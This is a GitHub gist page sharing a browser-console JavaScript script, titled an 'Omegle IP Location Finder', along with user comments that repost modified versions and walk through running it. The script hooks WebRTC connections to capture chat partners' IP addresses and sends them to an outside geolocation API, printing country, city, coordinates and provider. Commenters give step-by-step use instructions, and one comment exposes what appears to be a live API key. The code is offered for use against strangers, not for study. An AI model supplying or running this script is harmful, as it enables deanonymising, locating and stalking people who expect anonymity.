Skip to content

Instantly share code, notes, and snippets.

@mattupham
Last active January 26, 2024 19:01
Show Gist options
  • Save mattupham/8db8da9662dca830ec81b43b30eb8a6d to your computer and use it in GitHub Desktop.
Save mattupham/8db8da9662dca830ec81b43b30eb8a6d to your computer and use it in GitHub Desktop.
@mattupham Omegle IP Location Finder - Ask Questions in our Discord, links below
// Subscribe on YouTube, and follow on TikTok (@mattupham)! Socials found below:
// https://mattupham.com/links
// @ me on Discord with any questions!
https://link.mattupham.com/discord
// --------------------------------------------
// PLEASE REPLACE "your-api-key-here" WITH AN
// API KEY FROM https://ipgeolocation.io/
let apiKey = "your-api-key-here";
window.oRTCPeerConnection =
window.oRTCPeerConnection || window.RTCPeerConnection;
window.RTCPeerConnection = function (...args) {
const pc = new window.oRTCPeerConnection(...args);
pc.oaddIceCandidate = pc.addIceCandidate;
pc.addIceCandidate = function (iceCandidate, ...rest) {
const fields = iceCandidate.candidate.split(" ");
console.log(iceCandidate.candidate);
const ip = fields[4];
if (fields[7] === "srflx") {
getLocation(ip);
}
return pc.oaddIceCandidate(iceCandidate, ...rest);
};
return pc;
};
let getLocation = async (ip) => {
let url = `https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}`;
await fetch(url).then((response) =>
response.json().then((json) => {
const output = `
---------------------
Country: ${json.country_name}
State: ${json.state_prov}
City: ${json.city}
District: ${json.district}
Lat / Long: (${json.latitude}, ${json.longitude})
---------------------
`;
console.log(output);
})
);
};
@mbilaldemirci
Copy link

use a new api

On Sun, Sep 12, 2021, 09:36 GabaScript @.> wrote: @.* commented on this gist. ------------------------------ It happend same to me, How do i fix this? — You are receiving this because you commented. Reply to this email directly, view it on GitHub https://gist.github.com/8db8da9662dca830ec81b43b30eb8a6d#gistcomment-3890213, or unsubscribe https://github.com/notifications/unsubscribe-auth/ASLNQ2HPRHHJPYAQRGTHM3LUBRRCFANCNFSM4VWSDHNA . Triage notifications on the go with GitHub Mobile for iOS https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Android https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

check ur whatsapp

@HexBuddy
Copy link

we are anonymous.

lol

@Pranav1930
Copy link

the code is been fixed
just put api key from https://ipgeolocation.io/
create a acc in that website copy ur api key and just put it in "const apiKey = "your-api-key"; here and just
hit enter

const apiKey = "your-api-key";

window.oRTCPeerConnection =
window.oRTCPeerConnection || window.RTCPeerConnection;

window.RTCPeerConnection = function (...args) {
const pc = new window.oRTCPeerConnection(...args);

pc.oaddIceCandidate = pc.addIceCandidate;

pc.addIceCandidate = function (iceCandidate, ...rest) {
const fields = iceCandidate.candidate.split(" ");

console.log(iceCandidate.candidate);
const ip = fields[4];
if (fields[7] === "srflx") {
  getLocation(ip);
}
return pc.oaddIceCandidate(iceCandidate, ...rest);

};
return pc;
};

const getLocation = async (ip) => {
let url = https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip};

await fetch(url).then((response) =>
response.json().then((json) => {
const output = --------------------- Country: ${json.country_name} State: ${json.state_prov} City: ${json.city} District: ${json.district} Lat / Long: (${json.latitude}, ${json.longitude}) ---------------------;
console.log(output);
})
);
};

@sugma-nutts
Copy link

it bannes me so whtat's the use

@daksh-7
Copy link

daksh-7 commented Dec 11, 2021

please give me the final code, I'm quite confused. I have the API key and I have replaced it, but it shows this

(...args) {
const pc = new window.oRTCPeerConnection(...args);

pc.oaddIceCandidate = pc.addIceCandidate;

pc.addIceCandidate = function (iceCandidate, ...rest) {
const fields = iceCandidat…

@yusff98
Copy link

yusff98 commented Dec 30, 2021

if you see this
Country: undefined
State: undefined
City: undefined
District: undefined
Lat / Long: (undefined, undefined)
Sing up in ipgeolocation.io
and take API keys and past them in script
I try this and worked

@WheelSandroid
Copy link

I keep on getting -> Uncaught SyntaxError: Missing } in template expression on Line 34. Please help with the fix

@coolthingsLmfao
Copy link

keeps saying "Uncaught SyntaxError: Unexpected token ':'"

@Gecko4526
Copy link

Your token is either broken or you didn't put it there

@Tenura23
Copy link

[Violation] 'click' handler took 155ms
[Violation] Forced reflow while executing JavaScript took 98ms
[Violation] 'setTimeout' handler took 53ms
[Violation] Forced reflow while executing JavaScript took 109ms
omegle.js?663:2 [Violation] 'setInterval' handler took 55ms
omegle.js?663:2 [Violation] 'setInterval' handler took 50ms

help me i only can get this out put

@Tenura23
Copy link

u can try this insted

window.oRTCPeerConnection = window.oRTCPeerConnection || window.RTCPeerConnection

window.RTCPeerConnection = function(...args) { const pc = new window.oRTCPeerConnection(...args)

pc.oaddIceCandidate = pc.addIceCandidate

pc.addIceCandidate = function(iceCandidate, ...rest) { const fields = iceCandidate.candidate.split(' ')

if (fields[7] === 'srflx') { console.log('IP Address:', fields[4]) } return pc.oaddIceCandidate(iceCandidate, ...rest)

}

return pc }

this works thanks

@coolthingsLmfao
Copy link

illegal return statement it says

@InfernoRoblox
Copy link

When i pasted it in console nothing happens

@AIMBOTQT
Copy link

@youcankillme
Copy link

hey i did that and it still doesn't work what else can i do??

@youcankillme
Copy link

i get all Country: undefined
State: undefined
City: undefined
District: undefined
Lat / Long: (undefined, undefined)
and i get new API key and still don't work

@youcankillme
Copy link

i changed my api key atleast 5 times and it still doesn't work

@aForAkashK
Copy link

Country: undefined State: undefined City: undefined District: undefined Lat / Long: (undefined, undefined) THIS IS THE OUTPUT , HOW TO GET IT CORRECT

Please use your API

@talysonss
Copy link

Talysonss 44yyy

@talysonss
Copy link

Talysonss

@talysonss
Copy link

Talysonss

@DZultra
Copy link

DZultra commented Nov 14, 2022

When I run the code in the Console it says: Uncaught SyntaxError: Identifier 'getLocation' has already been declared

Can someone tell me how to fix this?

@nermin97
Copy link

For me, I had to use the console.debug(output) and in the console, check the "Verbose" under "All levels" dropdown

@Arturo-kardinhal
Copy link

Arturo-kardinhal commented Jan 21, 2023

Let me tell you how to use this script (if you already have the api key), go to omegle's main web and DO NOT TOUCH ANYTHING, now follow the next steps:

  1. Press right click.
  2. Select the option 'inspect element'.
  3. Go to the console's section and paste the code, I'll write it again but this code will also tell you the user's IP and the provider:
let apiKey = "your-api-key";

window.oRTCPeerConnection =
  window.oRTCPeerConnection || window.RTCPeerConnection;

window.RTCPeerConnection = function (...args) {
  const pc = new window.oRTCPeerConnection(...args);

  pc.oaddIceCandidate = pc.addIceCandidate;

  pc.addIceCandidate = function (iceCandidate, ...rest) {
    const fields = iceCandidate.candidate.split(" ");

    console.log(iceCandidate.candidate);
    const ip = fields[4];
    if (fields[7] === "srflx") {
      getLocation(ip);
    }
    return pc.oaddIceCandidate(iceCandidate, ...rest);
  };
  return pc;
};

let getLocation = async (ip) => {
  let url = `https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}`;

  await fetch(url).then((response) =>
    response.json().then((json) => {
      const output = `
          ---------------------
          Country: ${json.country_name}
          State: ${json.state_prov}
          City: ${json.city}
          District: ${json.district}
          Lat / Long: (${json.latitude}, ${json.longitude})
          IP: ${ip}
          Provider: ${json.isp}
          ---------------------
          `;
      console.log(output);
    })
  );
};
  • Remember to not to add the starting and the final triple quote (```). [IGNORE THIS IF YOU CAN COPY THE CODE CORRECTLY]
  1. Click enter.

  2. Clear the console by pressing this button (the circle):
    image

  3. Now everything's ready! Simply click on video (OBLIGATORY):
    image

And everything should be good. I won't be showing any real example but it should've worked, it'll look like this:
image

If you have any questions, tell me! Remember that this script only works for the video section. Do not use this script with bad intentions.

By the way, you'll probably get the "I'm not a robot" thing (
image
)
Just do it and everything should be good! Byee hope this helps

@reedGsKill1
Copy link

reedGsKill1 commented May 21, 2023

Let me tell you how to use this script (if you already have the api key), go to omegle's main web and DO NOT TOUCH ANYTHING, now follow the next steps:

  1. Press right click.
  2. Select the option 'inspect element'.
  3. Go to the console's section and paste the code, I'll write it again but this code will also tell you the user's IP and the provider:
let apiKey = "your-api-key";

window.oRTCPeerConnection =
  window.oRTCPeerConnection || window.RTCPeerConnection;

window.RTCPeerConnection = function (...args) {
  const pc = new window.oRTCPeerConnection(...args);

  pc.oaddIceCandidate = pc.addIceCandidate;

  pc.addIceCandidate = function (iceCandidate, ...rest) {
    const fields = iceCandidate.candidate.split(" ");

    console.log(iceCandidate.candidate);
    const ip = fields[4];
    if (fields[7] === "srflx") {
      getLocation(ip);
    }
    return pc.oaddIceCandidate(iceCandidate, ...rest);
  };
  return pc;
};

let getLocation = async (ip) => {
  let url = `https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip}`;

  await fetch(url).then((response) =>
    response.json().then((json) => {
      const output = `
          ---------------------
          Country: ${json.country_name}
          State: ${json.state_prov}
          City: ${json.city}
          District: ${json.district}
          Lat / Long: (${json.latitude}, ${json.longitude})
          IP: ${ip}
          Provider: ${json.isp}
          ---------------------
          `;
      console.log(output);
    })
  );
};
  • Remember to not to add the starting and the final triple quote (```). [IGNORE THIS IF YOU CAN COPY THE CODE CORRECTLY]
  1. Click enter.
  2. Clear the console by pressing this button (the circle):
    image
  3. Now everything's ready! Simply click on video (OBLIGATORY):
    image

And everything should be good. I won't be showing any real example but it should've worked, it'll look like this: image

If you have any questions, tell me! Remember that this script only works for the video section. Do not use this script with bad intentions.

By the way, you'll probably get the "I'm not a robot" thing ( image ) Just do it and everything should be good! Byee hope this helps

idk why it isnt working for me, but all i get is "caught SyntaxError: Unexpected token ':'"

I copy and paste your text exactly as is, and fill in the your-api-key with mine as needed.
Any idea?

@Mttrr
Copy link

Mttrr commented Jul 28, 2023

sorry it doesn't work for me, I did all the steps including getting the api Key, but when I press "execute" it indicates me a syntax error
what should I do please?

@mcmodder121
Copy link

same

@mcmodder121
Copy link

heres mine

let apiKey = e4cd3b65c9b645baa867e1d73dd504fc;

window.oRTCPeerConnection =
window.oRTCPeerConnection || window.RTCPeerConnection;

window.RTCPeerConnection = function (...args) {
const pc = new window.oRTCPeerConnection(...args);

pc.oaddIceCandidate = pc.addIceCandidate;

pc.addIceCandidate = function (iceCandidate, ...rest) {
const fields = iceCandidate.candidate.split(" ");

console.log(iceCandidate.candidate);
const ip = fields[4];
if (fields[7] === "srflx") {
  getLocation(ip);
}
return pc.oaddIceCandidate(iceCandidate, ...rest);

};
return pc;
};

let getLocation = async (ip) => {
let url = https://api.ipgeolocation.io/ipgeo?apiKey=${apiKey}&ip=${ip};

await fetch(url).then((response) =>
response.json().then((json) => {
const output = --------------------- Country: ${json.country_name} State: ${json.state_prov} City: ${json.city} District: ${json.district} Lat / Long: (${json.latitude}, ${json.longitude}) IP: ${ip} Provider: ${json.isp} ---------------------;
console.log(output);
})
);
};

@Mttrr
Copy link

Mttrr commented Aug 1, 2023

Thanks for taking your time to do this, did it work for you ? unfortunately it didn't for me, still shows the error message. Ill try to figure it out or retry with your script and aPi key, anyways thanks a lot !!

@Deathpoolxrs
Copy link

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment